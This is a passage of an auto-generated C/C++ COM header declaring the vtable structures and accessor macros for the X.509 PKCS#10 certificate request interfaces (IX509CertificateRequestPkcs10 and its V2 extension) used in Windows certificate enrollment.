/* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10Vtbl;\n\n    interface IX509CertificateRequestPkcs10\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10V2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10V2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10V2 : public IX509CertificateRequestPkcs10\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPrivateKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPublicKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10V2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10V2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            